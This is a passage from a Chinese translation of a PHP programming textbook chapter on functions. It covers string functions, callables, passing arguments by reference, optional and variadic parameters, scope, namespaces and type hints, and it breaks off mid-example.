这个练习是关于字符串操作。PHP 有许多内置的字符串操作函数。我们将在这里使用的是 substr()。像大多数其他内置函数一样,substr() 的行为可以通过传递各种参数来调整:

  1. 创建一个名为 Chapter04 的新目录。然后,在其内部创建一个名为 exercises 的文件夹。

  2. Chapter04/exercises 目录中创建一个名为 hello.php 的文件。

  3. 写入开头的脚本标签:

    <?php
    

    开头标签告诉解析器,从这一点开始,我们写的内容是 PHP。

  4. 编写指令,使用substr()从"Hello World"中提取并打印"Hello":

    echo substr('Hello World', 0, 5);
    

    echo命令打印其后语句的结果。该语句调用substr函数,并带有三个参数:字面字符串Hello World和字面整数05。这意味着"从 0 开始给我五个输入字符串的字符"。在 PHP 中,你可以将字符串视为几乎像数组一样,其中字符串中的每个字符都是一个元素。像许多其他编程语言一样,数组索引从零开始而不是一。如果你数一下字符,你会看到H e l l oHello World输入字符串的前五个字符。它们作为包含五个字符的新字符串从函数返回。

  5. 可选地,在下一行,echo一个换行符,仅为了输出清晰:

    echo PHP_EOL;
    

    PHP_EOL是一个预定义的常量,可以在正确的格式下输出换行符,适用于你所在的操作系统。使用这个常量可以使你的代码在不同操作系统之间更便携。

  6. 打开终端并进入存放你的hello.php脚本的Chapter04/exercises目录,并使用以下代码执行文件:

    php hello.php
    

    注意,Hello和换行符在终端中打印出来;这就是终端中的输出看起来像什么:

    ![图 4.1:将输出打印到终端

    ![img/C14196_04_01.jpg]

    图 4.1:将输出打印到终端

    注意

    如果你的路径与截图中的路径不同,不要担心,因为这将取决于你的系统设置。

  7. 现在将代码更改为以下内容:

    echo substr('Hello World', 5);
    

    再次运行脚本,注意输出现在是World(注意开头的空格)。发生的事情是,现在子字符串是从位置 5(第六个字符,空格)到字符串的末尾。

  8. 将代码更改为:

    echo substr('Hello World', -4, 3);
    

    运行脚本,注意输出将是orl。发生的事情是,现在开始是负数,从字符串的末尾向前计数。长度是3,从开始向字符串的末尾取:

    ![图 4.2:打印切片字符串

    ![img/C14196_04_02.jpg]

    图 4.2:打印切片字符串

    在前面的屏幕截图中,你可以看到步骤 8的输出。输出看起来是这个样子,因为我使用了 PhpStorm 中的临时文件。我添加了一个新的临时文件,并快速将代码粘贴进去,然后使用 PhpStorm 中的绿色播放按钮运行它。临时文件是在文件未添加到你的项目时快速测试一些代码的方法。

  9. 将语句更改为以下内容:

    echo substr('ideeën', -3);
    

    注意

    Ideeën是荷兰语单词,意为"想法"。然而,对于这个例子,我们需要ë字符,所以我们不能只输入"ideas"。

    再次运行脚本,注意输出是 ën。如果你一直很注意,你应该预期输出是 eën:它由三个字符组成,从 start = -3 开始计算,并从字符串的末尾向前计数直到字符串的末尾。那么,为什么在这个情况下输出是两个字符长而不是三个?解释是 ë 是一个多字节字符。如果你需要检查一个字符串是否是 UTF-8 编码,你可以使用一个额外的内置函数 mb_detect_encoding,将字符串作为第一个参数,将 UTF-8 作为第二个参数。substr 方法只计算字节,并不考虑长度超过一个字节的字符。现在,有一个解决方案:mb_substr。实际上,对于许多字符串操作函数,都有前缀为 mb_ 的姐妹函数,以表示它们支持多字节字符。如果你总是使用这些方法的 mb_ 版本,你将得到预期的结果。

  10. 将语句更改为以下内容:

    echo mb_substr('ideeën', -3);
    

    再次运行脚本,注意现在你得到了预期的输出 eën

![图 4.3:打印切片字符串的输出]

图片

图 4.3:打印切片字符串的输出

记住始终使用字符串操作函数的 mb_* 版本。

在本节中,我们介绍了可调用对象,并开始了解我们可用的内置函数。接下来,我们将更深入地探讨可调用对象的类型。

可调用对象的类型

有几种类型的可调用对象:

  • 函数,例如 mb_strtoupper

  • 匿名函数或闭包。

  • 存储函数名称的变量。

  • 一个包含两个元素的数组,其中第一个元素是对象,第二个元素是你希望在该对象中调用的函数的名称,该函数以字符串的形式编写。这个示例可以在 callables.php 文档中找到。

  • 定义了 __invoke 魔术方法的对象。

__invoke 方法是一个可以附加到类上的魔术函数,当将其初始化到变量中时,将使该分配的变量成为一个可调用的函数。以下是一个简单的 __invoke 方法的示例:

<?php
// Defining a typical object, take note of the method that we defined
class Dog {
    public function __invoke(){
    echo "Bark";
    }
}
// Initialize a new instance of the dog object
$sparky = new Dog();
// Here's where the magic happens, we can now call this 
$sparky(); 

输出如下:

Bark

在前面的示例中,我们声明了一个 $sparky 对象,并通过调用 $sparky() 将该对象作为函数执行。这个函数反过来调用了它的主要操作并打印了结果。

要验证某个东西是否是可调用的,你可以将其传递给内置的 is_callable 函数。如果其第一个参数是可调用的,该函数将返回 true,如果不是,则返回 false。实际上,is_callable 函数可以接受最多三个参数,这些参数会调整 is_callable 的行为。

尝试以下示例:

// simplest callable is a function
function foo()
{
}
echo is_callable('foo') ? '"foo" is callable' : '"foo" is NOT a callable',   PHP_EOL;
// an anonymous function is also a callable
if (true === is_callable(function () {})) {
    echo 'anonymous function is a callable';
} else {
    echo 'anonymous function is NOT a callable';
}

你可以在 GitHub 仓库中的 callables.php 脚本中探索更多示例。

语言构造

ifwhile。类似于函数的语言构造在用法上与内置函数非常相似。如果你想打印一个字符串,你可以选择使用语言构造 echo;或者使用也是语言构造的 printechoprint 之间有一些小的区别,其中 echo 是最常用的。在比较这两个时,echo 没有返回值,并且可以选择多个参数,而 print 返回一个可以在表达式中使用的值,并且只允许一个参数。echo 是两者中最灵活的,并且稍微快一点。语言构造可以带括号或不带括号使用。相比之下,可调用对象总是使用括号:

// echo is a language construct
echo 'hello world'; // echo does not return a value
// print is also a language construct
print('hello world'); // print returns 1

两个语句都打印 hello world。在 C 语言中,语言构造的底层实现比函数更高效,因此执行速度更快。你可以使用括号与 echoprint 一起使用,但这不是强制性的。

内置函数简介

PHP 内置了许多函数,例如 strtoupper,它将输入字符串的字母转换为大写:

echo strtoupper('Foo');
// output: FOO

PHP 本身就自带了大量函数。通过向 PHP 添加扩展,你可以添加更多内置函数和类。内置函数是在 C 语言中预编译的,因为 PHP 及其扩展都是用 C 语言编写的。

注意

如何添加扩展取决于你使用的操作系统。因此,在搜索时,始终将你的操作系统名称添加到搜索中,并确保首先查阅最新的结果,因为它们更有可能概述安装或编译扩展到 PHP 中的正确程序。

没有什么比花费数天时间编写一些功能,最后发现有一个内置函数能以五倍的速度完成同样的工作更令人沮丧了。因此,在编写自己的功能之前,尝试在 packt.live/2OxT91A 上搜索内置函数。如果你正在使用 IDE,一旦你在 PHP 文档中开始输入,内置函数就会通过自动完成建议。PHP 通常被称为粘合语言:它用于将不同的系统连接在一起。因此,有许多与数据库、文件资源、网络资源、外部库等通信的函数。

如果你正在使用一个由未安装或与你的 PHP 版本一起编译的扩展提供的函数,你将得到一个错误。例如,当 GD 没有安装时调用 gd_info() 将导致 致命错误:未捕获的错误:调用未定义的函数 gd_info()。顺便说一句,GD 是一个用于图像处理的库。

注意

顺便提一下,在许多实际项目中,我们处理多字节字符串。在处理多字节字符串时,你应该使用多字节安全的字符串操作函数。而不是使用 strtoupper,你会使用 mb_strtoupper

查找内置函数

要找出你目前正在使用的 PHP 版本,打开终端,输入以下命令,然后按 Enter 键:

php -v 

要找出系统上安装了哪些扩展,输入以下命令并按 Enter 键:

php -m

这将列出当前在你的 PHP 安装中已安装和启用的所有扩展。你还可以使用内置的 get_loaded_extensions PHP 函数列出扩展。

要利用这一点,编写一个名为 list-extensions.php 的文件,内容如下:

<?php
print_r(get_loaded_extensions());

按如下方式从命令行执行文件:

php list-extensions.php

注意,如果你这样做,你将使用了两个内置函数:print_rget_loaded_extensionsprint_r() 函数以人类可读的形式打印其第一个参数。你可以使用第二个参数,一个 true 布尔值,来返回输出而不是将其打印到屏幕上。这样,你可以将其写入日志文件,例如,或者传递给另一个函数。

输出应该看起来像以下截图(注意,系统上的扩展可能不同):

图 4.4:列出扩展

图片

图 4.4:列出扩展

在探索内置函数和扩展时,你可能还会发现 get_extension_funcs ( string $module_name ) : array 函数很有用,你可以使用它来列出扩展提供的函数。通常,在扩展的文档中找到函数会更容易。

这是输出的一部分:

print_r(get_extension_funcs('gd'));

输出如下:

图 4.5:列出顶级扩展

图片

图 4.5:列出顶级扩展

注意

你可以在 packt.live/2oiJPEl 找到更多关于内置函数的信息。

参数和返回值

参数是在函数声明中写入的变量。参数是作为这些参数传递的值。返回值是函数完全执行后返回的值。在之前的例子中,get_loaded_extensions 没有带任何参数被调用:在 get_loaded_extensions 后面的大括号中没有内容。

get_loaded_extensions() 的返回值是一个包含在 PHP 中加载的扩展的数组 - 已安装并启用的扩展。该返回值被用作 print_r 的参数,它返回一个描述其输入的用户友好的字符串。为了澄清这一点,可以将 list-extensions.php 脚本重写如下:

<?php
// get_loaded_extensions is called without arguments
// the array returned from it is stored in the variable $extensions
$extensions = get_loaded_extensions();
// the variable $extensions is then offered as the first argument to print_r
// print_r prints the array in a human readable form
print_r($extensions);

通过引用传递参数

对象参数总是通过引用传递。我们将在第五章面向对象编程中进一步详细介绍对象,但为了给你一些背景信息,可以把对象想象成一个容器,它包含作用域变量和函数。这意味着,存在对象的内存地址会被传递到函数中,这样函数在需要时可以在内部找到实际的对象。如果函数修改了引用的对象,那么内存中持有的原始对象将反映这些更改。如果你想使用对象的副本来工作,你需要在工作之前使用clone关键字克隆对象。你可以把克隆想象成一个复制器,它会制作你想要复制的对象的精确副本。

clone关键字的用法示例可以在这里找到:

$document = new Document();
$clonedDocument = clone $document;

如果需要在函数外部使用修改后的副本,你可以选择从函数中返回它。在以下示例中,$document成为一个包含DomDocument对象引用的变量:

$document = new DomDocument();

使用标量变量参数时,函数的程序员决定参数是通过引用传递还是作为原始值的副本。请注意,只有变量可以通过引用传递。

标量变量是一个持有标量值的变量,例如以下示例中的$a

$a = 10;

与仅仅是10这样的整数值不同,标量可以是数字、字符串或数组。

如果你向期望引用的函数传递一个字面标量值,你会得到一个错误,指出只有变量可以通过引用传递。这是因为 PHP 解析器不持有标量的引用——它们只是它们自己。只有当你将标量赋值给变量时,该变量的引用才会存在。

通过引用传递标量变量

PHP 有许多在数组上工作的函数。它们在是否接受数组引用方面有很大差异。

考虑以下数组:

$fruits = [
    'Pear',
    'Orange',
    'Apple',
    'Banana',
];

内置的sort()函数将前面的水果按字母顺序排序。数组是通过引用传递的。因此,在调用sort($fruits);之后,原始数组将按字母顺序排列:

sort($fruits);
print_r($fruits);

输出应该如下:

Array
(
    [0] => Apple
    [1] => Banana
    [2] => Orange
    [3] => Pear
)

与通过引用传递相反,array_reverse在其传入的数组副本上工作,并返回其元素顺序相反的数组:

$reversedFruits = array_reverse($fruits);
// the original $fruits is still in the original order
print_r($reversedFruits);

输出如下:

Array
(
    [0] => Banana
    [1] => Apple
    [2] => Orange
    [3] => Pear
)

对于更详细的示例,你可以参考 GitHub 上的array-pass-by-reference.phparray-pass-a-copy.php

另一个你在现实生活中的代码中看到的例子是 preg_match()。这个函数会在字符串中匹配一个模式的出现,并将其存储在可选的 &$matches 参数中,该参数通过引用传递。这意味着在调用函数之前,甚至在你调用函数的过程中,你必须声明一个 $matches 变量。函数运行后,之前为空的 $matches 数组将被填充。模式是一个正则表达式。正则表达式值得拥有自己的章节,但本质是正则表达式定义了一个模式,解析器可以在字符串中识别该模式并将其作为匹配返回。preg_match() 函数如果模式存在于字符串中并且匹配,则返回 1,如果提供了 matches,则 matches 将包含实际的匹配:

<?php
$text = "We would like to see if any spaces followed by three word characters   are in this text";
// i is a modifier, that makes the pattern case-insensitive
$pattern = "/\s\w{3}/i";
// empty matches array, passed by reference
$matches = [];
// now call the function
preg_match($pattern, $text, $matches);
print_r($matches);

输出如下:

(
    [0] => wou
)

如你所见,第一个找到的匹配是存储在 $matches 中的单个匹配。如果你想找到所有跟随三个单词字符的空格,你应该使用 preg_match_all()

为了演示如何简单地将 preg_match 函数更改为 preg_match_all 来返回所有匹配实例,我们将更改以下行:

preg_match($pattern, $text, $matches);
...

我们将用以下代码替换它:

preg_match_all($pattern, $text, $matches);
...

这将导致返回所有与我们的定义模式匹配的部分。

输出如下:

(
    [0] => Array
        (
            [0] => wou
            [1] => lik
            [2] => see
            [3] => any
            [4] => spa
            [5] => fol
            [6] => thr
            [7] => wor
            [8] => cha
            [9] => are
            [10] => thi
            [11] => tex
        )
)

注意

要了解更多关于正则表达式的信息,请查看:packt.live/33n2y0n

可选参数

你会注意到我们在很多例子中都使用了 print_r() 来显示变量的人性化表示,否则这些变量可能不会很有意义。让我们看一下以下数组:

$values = [
    'foo',
    'bar',
];

使用 echo $values; 只会在屏幕上打印 Array,而 print_r($values); 会打印出我们可读的格式:

Array
(
    [0] => foo
    [1] => bar
)

现在,假设你想要将 $values 的信息发送到屏幕以外的其他地方。这样做的原因可能是你想要发送有关错误的详细信息,或者你希望记录应用程序中的操作日志。在你发送的消息中,你希望包含有关 $values 内容的信息。如果你使用 print_r 来实现这一点,输出将不会出现在你的消息中,而是会被写入屏幕。这并不是你想要的。现在 print_r 的可选第二个参数就派上用场了。如果你在函数调用中传递第二个参数并设置为 true,输出将不会直接打印,而是由函数返回:

$output = print_r($values, true);

$output 变量现在包含以下内容:

"Array
(
    [0] => foo
    [1] => bar
)"

这可以在以后用来编写需要发送到任何地方的短信。

练习 4.2:使用 print_r()

在这个练习中,我们将使用 print_r() 函数以可读的格式打印不同的形状。为此,我们将执行以下步骤:

  1. 让我们从在你的项目目录中创建一个新文件并命名为 print_r.php 开始。

  2. 接下来,我们将使用开头标签打开我们的 PHP 脚本,并定义一个包含三个不同形状的 $shapes 变量:

    <?php
         $shapes = [
                 'circle',
                 'rectangle',
                 'triangle'
         ];
    
  3. 在下一行,让我们输出 $values 的内容:

    echo $shapes;
    
  4. 让我们打开项目目录并在终端中运行它:

    php print_r.php
    

    你会看到打印出来的只有以下内容:

    Array
    

    这是因为 echo 并未设计用于显示数组内容。然而,这正是 print_r() 发挥作用的地方。

  5. 让我们用 print_r 替换 echo

    print_r($shapes);
    

    我们将使用以下命令运行脚本:

    php print_r.php
    

    现在,我们可以这样看到数组的值:

图 4.6:打印数组的值

图 4.6:打印数组的值

可变数量的参数

函数可以接受可变数量的参数。以 printf 为例,它用于从预定义的格式化字符串中打印文本字符串,并用值填充占位符:

$format = 'You have used the maximum amount of %d credits you are allowed   to spend in a %s. You will have to wait %d days before new credits become   available.';
printf($format, 1000, 'month', 9);

这将打印以下内容:

You have used the maximum amount of 1000 credits you are allowed to spend in a month. You will have to wait 9 days before new credits become available.

虽然 $format 是必需的参数,但其余参数是可选的,并且数量可变。这里的重要收获是你可以传递任意多的参数。

参数的数量必须与字符串中的占位符数量相匹配,但这仅适用于 printf。当允许参数数量可变时,函数的设计者需要决定是否要验证参数数量是否符合某些限制。

此外,还有 sprintf 函数,它的工作方式几乎相同;然而,它不是打印结果文本,而是从函数中返回它,以便你可以稍后使用输出。

你可能已经注意到占位符不同:%d%s。这可以用作简单的验证:%d 期望一个数字,而 %s 接受任何可以转换为字符串的内容。

标志参数

在早期的示例中,我们使用 sort() 函数并只传递一个参数:我们希望排序的数组。该函数接受第二个参数。在这种情况下,第二个参数也被定义为标志,这意味着只接受某些预定义常数的值,称为标志。标志决定了 sort() 的行为方式。如果您想使用多个标志,则可以在每个标志之间简单地使用管道 (|) 符号。

现在让我们使用一个稍微不同的输入数组:

$fruits = [
    'Pear',
    'orange', // notice orange is all lowercase
    'Apple',
    'Banana',
];
// sort with flags combined with bitwise OR operator
sort($fruits, SORT_FLAG_CASE | SORT_NATURAL);
print_r($fruits);

输出如下:

Array
(
    [0] => Apple
    [1] => Banana
    [2] => orange
    [3] => Pear
)

数组现在按字母顺序排序,正如预期的那样。如果没有标志,排序将是大小写敏感的,orange 将排在最后,因为它是小写的。使用 natcasesort($fruits) 也可以达到相同的结果。请参阅 GitHub 上的 array-use-sort-with-flags.php 示例。

通常,在使用函数时,咨询有关使用额外参数的扩展功能的文档是一个好主意。通常,一个函数并不完全做你想要的事情,但可以通过传递额外的参数来实现。

练习 4.3:使用数组内置函数

在这个练习中,我们将看到 PHP 内置函数如何与数组一起工作:

  1. Chapter04 目录的 exercises 目录中创建一个名为 array-functions.php 的文件。

  2. 输入开标签和创建名为 $signal 的数组的语句,该数组包含交通信号灯中的不同颜色:

    <?php
    $signal = ['red', 'amber', 'green'];
    
  3. 以人类可读的格式显示整数数组:

    print_r($signal);
    
  4. 使用以下命令执行脚本:

    php array-functions.php
    

    输出如下:

    ![图 4.7:打印交通信号灯颜色数组 图片

    图 4.7:打印交通信号灯颜色数组

    注意在前面的输出中,数组元素是如何用颜色标记的,第一个元素位于索引 0,第三个元素位于索引 2。这些是在你没有声明自己的索引时的默认索引。

  5. 使用 array_reverse 函数来反转数组:

    $reversed = array_reverse($signal);
    

    array_reverse() 方法将反转数组元素的顺序,并将结果作为新数组返回,同时保持原始数组不变。

  6. 打印反转后的数组:

    print_r($reversed);
    

    执行 php array-functions.php 命令。

    输出看起来像以下截图:

    ![图 4.8:打印反转后的数组 图片

    图 4.8:打印反转后的数组

    注意元素 3 现在是数组的第一个元素,索引为 0,元素 1 是最后一个。在索引 2,尽管数组已反转,但索引保持在原始数组中的相同位置。

  7. 再次添加以下代码以打印原始数组:

    print_r($signal);
    

    输出如下:

    ![图 4.9:打印数组 图片

    图 4.9:打印数组

    这是为了演示原始数组不会被 array_reverse 改变。

  8. 打开终端并转到你刚刚输入 array-functions.php 脚本所在的目录。运行脚本并按 Enter

    php array-functions.php
    

    观察到显示了三个数组。当数组中只有三个整数时,屏幕上的输出将类似于以下截图:

    ![图 4.10:打印三个数组 图片

    图 4.10:打印三个数组

    第一个数组显示了你的整数数组,第二个是反转后的整数数组,第三个是未更改的原始数组,其中的整数按照你输入的顺序排列。

  9. 将反转数组的语句更改为以下内容:

    $reversed = array_reverse($signal, $preserve_keys = true);
    

    我们在这里所做的事情在 PHP 中并不总是可能的,但今天却是可能的:我们将 true 赋值给 $preserve_keys 变量,同时将其作为 array_reverse 的第二个参数传递。这样做的好处是自动记录我们正在进行的操作,并且如果需要,我们可以在以后重用该变量。然而,一般来说,这种类型的赋值很容易被忽略,如果你以后不需要该变量,可能最好只传递 true。你可能根据你正在构建的内容使用这种类型的赋值。

    仔细观察再次运行脚本时的输出:

    图片

    图片

    图 4.11:再次打印三个数组

    当你检查输出时,特别是中间的数组,你会注意到键已经被保留在反转后的数组中。确实,元素 3 现在是数组中的第一个元素,但请注意,索引 2 现在也是第一个索引。所以,$integers[2] 仍然包含 3 的值,而 $integers[0] 仍然持有 1 的值。

  10. 现在让我们声明另一个 $streets 数组,包含一些街道的名称:

    $streets = [
        'walbrook',
        'Moorgate',//Starts with an uppercase
        'crosswall',
        'lothbury',
    ];
    
  11. 现在让我们使用与位或运算符结合的标志来对数组进行排序:

    sort($streets, SORT_STRING | SORT_FLAG_CASE );
    print_r($streets);
    

    输出如下:

    ![图 4.12:按字母顺序打印数组

    ![img/C14196_04_12.jpg]

    图 4.12:按字母顺序打印数组

    在这种情况下,sort() 函数不区分大小写地排序字符串。

  12. 如果我们使用位与运算符对数组进行排序,我们会看到以大写字母开头的街道名称移动到数组的顶部,其余的街道名称按字母顺序打印:

    sort($streets, SORT_STRING & SORT_FLAG_CASE );
    print_r($streets);
    

    输出如下:

![图 4.13:打印数组顶部以大写字母开头的单词

![img/C14196_04_13.jpg]

图 4.13:打印数组顶部以大写字母开头的单词

在这个练习中,你看到了 PHP 的许多强大的数组操作函数之一在工作。你了解到这个函数——array_reverse——返回一个新的数组而不是修改原始数组。你可以推断出输入参数,即你的数组,不是通过引用传递的,因为否则原始数组会被反转所改变。你还了解到这个函数的第二个参数——boolean $preserve_keys——如果为 true 会改变函数的行为,使得元素保持在反转前的相同索引位置。你可以从这个推断出第二个参数的默认值是 false。然后我们探讨了如何使用 sort 函数以特定顺序排列数组的元素。

用户自定义函数简介

用户自定义函数是你或另一个用户编写的函数,不是 PHP 本身构建的。内置函数通常比执行相同操作的用户自定义函数更快,因为它们已经从 C 语言编译。在尝试编写自己的函数之前,总是先寻找内置函数!

函数命名

命名事物是困难的。尽量为你的函数选择描述性但不过于冗长的名称。非常长的函数名称是不可读的。当你阅读名称时,理想情况下应该能够猜出该函数的功能。PHP 中命名标识符的规则也适用于此处。函数名称不区分大小写;然而,按照惯例,你不会用与定义时不同的大小写来调用函数。说到惯例,你可以自由地以你喜欢的任何方式设计大小写,但通常有两种风格占主导地位:snake_case()camelCase()。在所有情况下,做你团队同意的事情——一致性远比任何个人偏好都重要,无论这种偏好有多强烈。如果你可以自由选择编码规范,那么,请务必遵守 PHP-FIG 推荐的 PSR-1 标准(packt.live/2IBLprS)。尽管它指的是函数作为方法(如类方法),但你可以安全地假设这也适用于(全局)函数,本章就是关于这个的。这意味着如果你可以自由选择,你可以为函数选择 camelCase()

不要重新声明内置函数(即不要在根命名空间中编写与内置函数同名的函数)。相反,给你的函数一个独特的名称,或者将其放入它自己的命名空间。最佳实践是永远不要使用现有函数的名称来命名你的函数,即使在你的命名空间内也不要,以避免混淆。

函数文档化

你可以在函数上方添加注释,这被称为 DocBlock。它包含以 @ 符号作为前缀的注释。它还包含对函数功能的描述。理想情况下,它还描述了为什么需要这个函数:

 /**
 * Determines the output directory where your files will 
 * go, based on where the system temp directory is. It will use /tmp as 
 * the default path to the system temp directory.
 *
 * @param string $systemTempDirectory
 * @return string
 */
function determineOutputDirectory(string $systemTempDirectory = '/tmp'): string { 
    // … code goes here
}

命名空间函数

Date。如果不同的库这样做,你不能同时使用这两个库,因为当第二次加载 Date 类时,PHP 会抱怨你不能重新声明 Date 类,因为它已经被加载了。

为了解决这个问题,我们使用命名空间。如果两个不同的库供应商使用他们的供应商名称作为命名空间,并在该命名空间内创建他们的 Date 类,那么名称冲突的可能性就小得多。

你可以把命名空间想象成某种前缀。比如说 YouMe 都是供应商,我们都想引入一个 Date 类。我们不会将类命名为 MeDateYouDate,而是将它们创建在 Me 目录和 You 目录中的文件里。对于两个供应商,类文件都简单地称为 Date.php。在你的 Date.php 文件中,你将命名空间作为第一条语句(如果有严格类型声明,则在声明之后)写入:

<?php
namespace You;
class Date{}

我们将编写一个 Date.php 文件,其起始部分如下:

<?php
namespace Me;
class Date{}

现在,因为类生活在它们自己的命名空间中,它们有所谓的 You\DateMe\Date。注意名称是不同的。你将在 第五章面向对象编程 中了解更多关于命名空间的内容,因为它们对对象的影响比函数更大。

命名空间函数很少见,但它们是可能的。要在命名空间中编写函数,请在定义函数的文件顶部声明命名空间:

<?php
namespace Chapter04;
function foo(){
    return 'I was called';
}
// call it, inside the same namespace:
foo();

然后在根命名空间(没有命名空间)的另一个文件中调用它:

<?php
require_once __DIR__ . '/chapter04-foo.php;
// call your function
Chapter04\foo();

我们可以在单元测试的顶部使用 use 语句导入 Chapter04 命名空间:

use Chapter04;
// later on in the test, or any other namespace, even the root namespace.
foo(); // will work, because we "use" Chapter04.

纯函数

纯函数没有副作用。不那么纯的函数会有副作用。那么,什么是副作用呢?嗯,当一个函数有副作用时,它会改变存在于函数作用域之外的东西。

作用域

你可以把作用域想象成一个“栅栏”,在这个栅栏内,变量或函数可以操作。在函数作用域内包括它的输入、输出以及函数体内提供的所有内容。函数可以将全局作用域中的内容拉入它们自己的作用域并修改它们,从而产生副作用。为了保持简单,当函数没有副作用时最好。当函数不试图改变它们所在的环境,而是专注于它们自己的职责时,查找错误和单元测试会更容易。

在函数外部声明的变量生活在全局作用域中,并在函数内部可用。在函数体内声明的变量在函数作用域之外不可用,除非做了额外的工作。

在以下示例中,使用了两种方法来演示如何使用全局作用域中的变量在函数内部:

<?php
// we are in global scope here
$count = 0;
function countMe(){
    // we enter function scope here
    // $count is pulled from global scope using the keyword global
    global $count;
    $count++;
}
countMe();
countMe();
echo $count;

输出如下:

2

函数被调用两次之后,$count 将具有 2 的值,这实际上是函数在单个脚本运行期间被调用的次数的计数。在下次运行之后,$count 变量将再次是 2,因为值在脚本运行之间不会被保留,也因为每次脚本运行时都会将其初始化为 0。无论如何,值在脚本运行之间不会保留,除非你明确地在文件或某种形式的缓存或其他持久化层中保留它们。

通常,函数没有副作用并且不干涉全局作用域会更好。

$GLOBALS 超全局数组

全局变量始终在特殊的 $GLOBALS 超全局数组中可用。所以,我们可以在前面的例子中用 $GLOBALS['count']; 替代 global 关键字。

练习 4.4:使用 $GLOBALS 数组

在这个练习中,你将修改 count-me-with-GLOBALS.php 中的函数,使其不再使用 global 关键字,而是使用 $GLOBALS 超全局数组:

  1. 再看看前面例子中使用的函数:

    <?php
    // we are in global scope here
    $count = 0;
    function countMe(){
        // we enter function scope here
        // $count is pulled from global scope using the keyword global
        global $count;
        $count++;
    }
    
  2. 将函数体的内容删除,使你的函数看起来像这样:

    function countMe()
    {
    }
    

    函数现在是空的,什么也不做。

  3. 在空函数体中添加一个新语句,该语句在$GLOBALS数组中增加count

    function countMe()
    {
        $GLOBALS['count']++;
    }
    

    函数现在与之前完全一样,但代码更少。

  4. 调用countMe()函数两次。现在脚本应该看起来像count-me-with-GLOBALS.php中的脚本:

count-me-with-GLOBALS.php
1  <?php
2  // declare global $count variable
3  $count = 0;
4  /**
5   * This function increments the global
6   * $count variable each time it is called.
7   */
8  function countMe()
9  {
10     $GLOBALS['count']++;
11 }
12 // call the function countMe once
13 countMe();
14 // and twice
15 countMe();
https://packt.live/323pJfR

当你运行脚本时,输出看起来像下面的屏幕截图。输出包括一个换行符和$count函数的值:

图 4.14:打印计数

图 4.14:打印计数

单一职责原则

当一个函数只做一件事时——也就是说,当它只有一个职责时——它更容易使用,在重用时更可靠,也更容易测试。当你需要执行另一个任务时,不要将其添加到现有的函数中;而是写一个新的函数。

函数的语法如下:

function [identifier] ([[typeHint][…] [&]$parameter1[…][= defaultValue]][,   [&]$p2, ..$pn]])[: [?]returnType|void] 
{
     // function body, any number of statements
     [global $someVariable [, $andAnother]] // bad idea, but possible
     [return something;]
}

不要被这个看似复杂的语法定义吓倒。函数实际上很容易编写,正如本章中的以下示例将向你展示的。

然而,现在让我们花些时间尝试分解这个语法。

函数关键字

function关键字告诉 PHP 解析器接下来的是函数。

标识符

标识符代表函数的名称。在这里,PHP 中标识符的一般规则将适用。需要记住的最重要的一点是,它不能以数字开头,也不能包含空格。它可以包含 Unicode 字符,尽管这相对较少见。然而,定义带有下划线的特殊、常用函数是很常见的:

function __( $text, $domain = 'default' ) {
    return translate( $text, $domain );
}

这个函数用于在 WordPress 模板中翻译文本。其背后的想法是,你会立即发现这个函数是特殊的,你不会想自己写一个同名函数。它也非常容易输入,这对于常用函数来说很方便。正如你所看到的,它需要一个必需的参数$text来翻译。它还接受一个可选的$domain参数,其中定义了翻译,默认情况下是default域(在翻译中,text域用于区分可能对不同事物使用相同单词的不同领域,以便如果其他语言根据上下文有不同的单词,这些单词可以不同地翻译)。__函数是我们所说的翻译函数的包装器。它将其参数传递给translate函数,并返回translate函数的返回值。它输入更快,在模板中占用的空间更少,使模板更易于阅读。

类型提示

在函数声明中,类型提示用于指定参数的预期数据类型。自 PHP 5.0 起就存在对象类型提示,自 PHP 5.1 起就存在数组类型提示。标量类型提示自 PHP 7.0 起存在。可空类型提示自 PHP 7.1 起存在。object 类型提示自 PHP 7.2 起存在。考虑以下示例:

function createOutOfCreditsWarning(int $maxCredits, string $period, int $waitDays): string
{
    $format = 'You have used the maximum amount of %d credits you are             
        allowed to spend in a %s. You will have to wait %d days before  
        new credits become available.';
    return sprintf($format, $maxCredits, $period, $waitDays);
}

在前面的示例中,有三个类型提示。第一个提示 $maxCredits 应该是一个整数。第二个提示 $period 应该是一个字符串,第三个提示 $waitDays 必须是一个整数。

如果类型提示前有一个问号,例如 ?int,这表示参数必须是提示的类型或 null。在这种情况下,提示的类型是 integer。这自 PHP 7.1 起就可行了。

带类型提示的扩展操作符(…)

扩展操作符()是可选的,表示参数必须是一个只包含提示类型元素的数组。尽管它自 PHP 5.6 起就存在,但它是一个很少使用但非常强大和有用的特性,可以使你的代码更加健壮和可靠,同时代码量更少。不再需要检查同构数组的每个元素。当你使用这种类型提示定义参数时,你还需要用扩展操作符来调用函数。

以下是一个虚构的函数示例,我编造了这个示例来演示扩展操作符的使用。processDocuments 函数使用 可扩展样式表语言转换XSLT)转换 XML 文档。虽然当你需要转换文档时这确实很有趣,但它对于扩展操作符的演示并不重要。

扩展操作符是函数签名中 $xmlDocuments 前的三个点。这意味着 $xmlDocuments 必须是一个只包含 DomDocument 提示类型对象的数组。DomDocument 提示类型是一个可以加载和保存 XML 的对象。它可以由 XsltProcessor 类的对象处理,以将文档转换为另一个文档。PHP 中的 XsltProcessor 非常强大且性能出色。你甚至可以在你的 XSL 样式表中使用 PHP 函数。然而,这个巧妙的功能应该谨慎使用,因为它将使你的 XSL 样式表对其他处理器无效,因为它们不知道 PHP。

函数的返回类型是 Generator。这是由于 foreach 循环内部的 yield 语句引起的。yield 语句使函数在值(在我们的例子中是一个文档)可用时立即返回每个值。这意味着它在内存使用上很高效:它不会将对象保留在数组中以一次性返回它们,而是在创建后立即逐个返回。这使得生成器在处理大型集合时非常高效,同时使用更少的内存资源:

function processDocuments(DomDocument … $xmlDocuments):Generator
{
    $xsltProcessor = new XsltProcessor();
    $xsltProcessor->loadStylesheet('style.xslt');
foreach($xmlDocuments as $document){
     yield $xsltProcessor->process($document);
    }
}

前面的函数可能看起来相当令人困惑,但它相当简单。让我们从扩展运算符的使用开始;这用于表示参数将作为数组传递。此外,参数被类型提示为 DomDocument 对象,这意味着参数将是一个 DomDocument 对象的数组。接下来是函数,我们定义一个新的 XsltProcessor 实例并为其加载一个样式表。请注意,这是一个概念示例,有关 XsltProcessor 和样式表的信息可以在 PHP 文档中找到,网址为 packt.live/2OxT91A。最后,我们使用 foreach 循环遍历文档数组,并对每个文档的 process 方法的结果进行迭代。由于文档处理可能很耗费内存,如果可以想象将大量文档传递给此函数,那么生成器的用法就显而易见了。

要调用此函数,请使用以下代码:

